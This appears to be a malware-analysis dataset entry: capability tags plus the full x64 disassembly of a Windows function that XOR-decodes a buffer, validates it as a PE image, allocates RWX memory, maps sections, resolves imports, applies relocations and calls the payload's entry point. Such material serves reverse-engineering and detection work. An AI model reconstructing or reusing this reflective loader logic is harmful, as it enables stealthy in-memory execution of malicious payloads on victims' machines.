Function at 0x140006f90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [0x14002c040]
xor rax, rsp
mov qword [rsp + 0x1d8], rax
mov r12, rdx
mov rsi, rcx
mov qword [rsp + 0x30], rcx
mov qword [r11 - 0x130], rcx
mov qword [r11 - 0x128], rdx
xor r14d, r14d
movabs rax, 0x453c94b64f8ece88
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
movabs r15, 0x84bb3d9312784c08
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x28], rax
movabs r13, 0x453c94b64ff7abe3
mov qword [rsp + 0xf0], r13
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1a8], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rax, [rsp + 0x38]
mov qword [r11 - 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x38], r14b
xor eax, eax
mov qword [rsp + 0x40], rax
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.14000ef50
mov byte [rsp + 0x38], 3
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov ecx, 0x20
call fcn.14001e87c
mov rdi, rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea rax, [rsp + 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400070e0
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140010a30
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x50], 0
xor eax, eax
mov qword [rsp + 0x58], rax
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.14001cb20
nop
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x38]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x1b0], xmm0
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xa8]
call fcn.14000cd80
mov qword [rsp + 0xb8], r14
movabs rax, 0x453c94b62b9edc8b
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0xf0], r13
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x198], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x20], xmm0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov byte [rsp + 0x130], 0
xor eax, eax
mov qword [rsp + 0x138], rax
xor edx, edx
lea rcx, [rsp + 0x138]
call fcn.14000ef50
mov byte [rsp + 0x130], 3
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov ecx, 0x20
call fcn.14001e87c
mov rdi, rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140007284
mov r8, rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140010a30
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], r14
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
mov byte [rsp + 0x148], 0
xor eax, eax
mov qword [rsp + 0x150], rax
mov rdx, r12
lea rcx, [rsp + 0x148]
call fcn.14001cb20
nop
mov qword [rsp + 0x158], r14
lea rax, [rsp + 0x130]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x1b0], xmm0
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xc0]
call fcn.14000cd80
mov qword [rsp + 0xd0], r14
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x1b0], xmm0
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1a0]
call fcn.14000cd80
nop
lea r9, [fcn.140005400]
mov edx, 0x18
mov r8d, 2
lea rcx, [rsp + 0xa8]
call fcn.14001e8b8
nop
lea r9, [fcn.140005400]
mov edx, 0x18
mov r8d, 2
lea rcx, [rsp + 0x130]
call fcn.14001e8b8
nop
lea r9, [fcn.140005400]
mov edx, 0x18
mov r8d, 2
lea rcx, [rsp + 0x38]
call fcn.14001e8b8
lea rax, [rsp + 0x168]
mov qword [rsp + 0x190], rax
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x168]
call fcn.14000ca20
mov rbx, rax
movabs rax, 0x454894d34f90abcc
mov qword [rsp + 0xf0], rax
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0xf0], r15
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0xf0], r13
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1b8], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x88]
call fcn.14000d030
nop
movabs rax, 0x455d94d54f98ab8f
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x130], rax
movabs rax, 0x84c83dfc12104c64
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x138], rax
movabs rax, 0xf11014fc2d3390b1
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x140], rax
movabs rcx, 0x3dc5c1a1f1e648c2
mov qword [rsp + 0xf0], rcx
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0xf0], r13
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0xf0], r15
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1b8], rax
movabs rax, 0xf11014fc2d3390c5
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0xf0], rcx
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x1c8], rax
vmovdqu ymm0, ymmword [rsp + 0x130]
vpxor ymm1, ymm0, ymmword [rsp + 0x1b0]
vmovdqu ymmword [rsp + 0x130], ymm1
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x68]
vzeroupper
call fcn.14000d030
nop
mov r9, rbx
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x108]
call fcn.140004130
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 7
jbe 0x140007628
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007623
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e790
movdqa xmm0, xmmword [0x1400246b0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], r14w
mov rdx, qword [rsp + 0xa0]
cmp rdx, 7
jbe 0x14000768f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007682
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e790
movdqa xmm0, xmmword [0x1400246b0]
movdqu xmmword [rsp + 0x98], xmm0
mov word [rsp + 0x88], r14w
mov rdx, qword [rsp + 0x118]
test rdx, rdx
jne 0x140007775
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x1400076f5
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140007761
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x14000775c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400084ef
mov rcx, r8
call fcn.14001e790
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
jmp 0x14000804d
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
lea rbx, [rsp + 0x108]
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x108]
add rbx, 0x10
lea rax, [rsp + 0x108]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x108]
mov qword [rsp + 0x20], rax
mov rdi, r14
mov qword [rsp + 0x130], r14
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0x138], r14
mov r15, r14
mov qword [rsp + 0x140], r14
sub rbx, rax
je 0x140007881
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x1400084fd
cmp rbx, 0x1000
jb 0x14000782f
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140008503
call fcn.14001e87c
test rax, rax
je 0x140008465
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000783a
mov rcx, rbx
call fcn.14001e87c
mov rdi, rax
mov qword [rsp + 0x130], rdi
lea r13, [rbx + rdi]
mov qword [rsp + 0xf0], r13
mov r15, r13
mov qword [rsp + 0x140], r13
mov r8, rbx
mov rdx, qword [rsp + 0x20]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x138], r13
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x118]
movabs r10, 0x7fffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x168], xmm0
lea rax, [rsp + 0x108]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x108]
add rdx, rax
lea rax, [rsp + 0x108]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x108]
add rax, 0x10
mov qword [rsp + 0x190], rax
mov rbx, r14
mov qword [rsp + 0x168], rbx
mov r9, r14
mov qword [rsp + 0x170], r14
mov r13, r14
mov qword [rsp + 0x178], r14
sub rdx, rax
mov qword [rsp + 0x20], rdx
mov rax, r14
mov r11, r14
je 0x140007991
cmp rdx, r10
ja 0x140008509
cmp rdx, 0x1000
jb 0x14000793f
lea rcx, [rdx + 0x27]
cmp rcx, rdx
jbe 0x14000850f
call fcn.14001e87c
test rax, rax
je 0x14000841f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000794a
mov rcx, rdx
call fcn.14001e87c
mov rbx, rax
mov qword [rsp + 0x168], rbx
mov r8, qword [rsp + 0x20]
lea r13, [r8 + rbx]
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x178], r13
mov rdx, qword [rsp + 0x190]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r9, r13
mov qword [rsp + 0x170], r13
mov rax, r13
mov r11, rbx
mov rcx, qword [rsp + 0x120]
mov r8, r14
sub rax, r11
mov qword [rsp + 0x190], rax
je 0x1400079dc
mov r10, qword [rsp + 0xf0]
sub r10, rdi
sub r9, rbx
nop
movzx ecx, byte [r11 + r8]
xor edx, edx
mov rax, r8
div r10
xor cl, byte [rdx + rdi]
mov byte [r11 + r8], cl
inc r8
cmp r8, r9
jb 0x1400079b0
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x190]
cmp rax, 0x40
jae 0x140007ad9
test rbx, rbx
je 0x140007a26
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007a13
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
test rdi, rdi
je 0x140007a66
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007a53
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
jbe 0x140007aa2
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140007727
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x140007bda
test rbx, rbx
je 0x140007b27
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007b14
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
test rdi, rdi
je 0x140007b67
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007b54
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
jbe 0x140007ba3
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140007727
movsxd r10, dword [rbx + 0x3c]
add r10, rbx
mov qword [rsp + 0xf0], r10
cmp dword [r10], 0x4550
je 0x140007ce9
test rbx, rbx
je 0x140007c36
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007c23
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
test rdi, rdi
je 0x140007c76
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007c63
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
jbe 0x140007cb2
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140007727
mov eax, 0x8664
cmp word [r10 + 4], ax
je 0x140007dec
test rbx, rbx
je 0x140007d39
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007d26
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
test rdi, rdi
je 0x140007d79
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007d66
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
jbe 0x140007db5
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007db0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140007727
cmp dword [r10 + 0xf8], 0
je 0x140007eed
test rbx, rbx
je 0x140007e3a
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007e27
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
test rdi, rdi
je 0x140007e7a
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007e67
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
mov rcx, qword [rsp + 0x120]
cmp rcx, 0xf
jbe 0x140007eb6
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007eb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
jmp 0x140007727
mov edx, dword [r10 + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, qword [r10 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x20], rax
test rax, rax
jne 0x1400080c9
test rbx, rbx
je 0x140007f51
sub r13, rbx
mov rax, rbx
cmp r13, 0x1000
jb 0x140007f45
add r13, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000841f
mov rdx, r13
mov rcx, rbx
call fcn.14001e790
nop
test rdi, rdi
je 0x140007f8a
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140007f7e
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008465
mov rdx, r15
mov rcx, rdi
call fcn.14001e790
nop
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x140007fcd
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ac
call fcn.14001e790
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
movzx edx, byte [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.14000ef50
nop
mov rbx, qword [rsp + 0x30]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000803e
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140008039
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400084ef
mov rcx, r8
call fcn.14001e790
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140008089
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x140008084
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400084f6
mov rcx, r8
call fcn.14001e790
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], r14
mov rcx, qword [rsp + 0x1d8]
xor rcx, rsp
call fcn.14001e770
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r15, qword [rsp + 0xf0]
mov r8d, dword [r15 + 0x54]
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx r13d, r14w
cmp r14w, word [r15 + 6]
jae 0x140008123
lea rdi, [r15 + 0x11c]
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rdi - 4]
mov edx, dword [rdi]
add rdx, rbx
mov ecx, dword [rdi - 8]
add rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rdi + 0x28]
inc r13w
cmp r13w, word [r15 + 6]
jb 0x140008100
mov qword [rsp + 0x180], r14
cmp dword [r15 + 0x98], 0
je 0x140008153
mov rcx, rsi
call fcn.140006cc0
test rax, rax
je 0x140008153
lea rdx, [rsp + 0x180]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov r13d, dword [r15 + 0x90]
add r13, 0xc
mov edx, dword [r15 + 0xe8]
mov eax, 0x90
mov ecx, 0xe8
test edx, edx
cmovne eax, ecx
mov ecx, dword [rax + r15]
mov eax, 0x94
mov r8d, 0xec
cmovne eax, r8d
mov edx, dword [rax + r15]
add rcx, rsi
lea r9, [rsp + 0x160]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add r13, rsi
mov eax, dword [r13]
test eax, eax
je 0x140008220
nop dword [rax]
mov ecx, eax
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov edi, dword [r13 + 4]
add rdi, rsi
mov eax, dword [r13 - 0xc]
test eax, eax
lea rbx, [rsi + rax]
jne 0x1400081d4
mov rbx, rdi
mov rax, qword [rbx]
test rax, rax
je 0x14000820c
mov rcx, rax
jns 0x1400081e6
movzx edx, cx
jmp 0x1400081ed
lea rdx, [rcx + 2]
add rdx, rsi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi], rax
add rdi, 8
add rbx, 8
mov rax, qword [rbx]
mov rcx, rax
test rax, rax
jne 0x1400081df
add r13, 0x14
mov eax, dword [r13]
test eax, eax
jne 0x1400081b0
mov r15, qword [rsp + 0xf0]
mov eax, dword [r15 + 0xb0]
test eax, eax
je 0x1400082ad
mov rbx, rsi
sub rbx, qword [r15 + 0x30]
je 0x1400082ad
lea r10, [rsi + rax]
cmp dword [r10], 0
je 0x1400082ad
mov edi, 0xf000
mov r13d, 0xa000
nop dword [rax]
mov r11d, dword [r10 + 4]
sub r11, 8
shr r11, 1
lea r9, [r10 + 8]
mov r8d, r14d
je 0x1400082a0
nop dword [rax]
nop dword [rax + rax]
movzx edx, word [r9]
movzx eax, dx
and ax, di
cmp r13w, ax
jne 0x140008291
and edx, 0xfff
mov ecx, dword [r10]
lea rax, [rsi + rdx]
add qword [rcx + rax], rbx
inc r8d
add r9, 2
movsxd rax, r8d
cmp rax, r11
jb 0x140008270
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], 0
jne 0x140008250
mov ebx, dword [r15 + 0x28]
add rbx, rsi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x7b11b4cf3d83c586
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xf0], rax
movabs rax, 0x84bb3d9312007c28
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xf8], rax
movabs rax, 0x453c94b64ff7abe3
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b0], rax
movabs rax, 0x84bb3d9312784c08
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b8], rax
movdqa xmm0, xmmword [rsp + 0xf0]
xorps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0xf0], xmm0
lea rdx, [rsp + 0xf0]
call fcn.1400101a0
lea rdx, [0x140001eb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140001e90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x140010380]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
test rbx, rbx
je 0x1400083e1
call rbx
nop
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400083e6
mov rbx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x168]
test rcx, rcx
je 0x14000842c
mov rdx, qword [rsp + 0x178]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008426
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008426
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e790
nop
mov rcx, qword [rsp + 0x130]
test rcx, rcx
je 0x140008472
mov rdx, qword [rsp + 0x140]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000846c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000846c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e790
nop
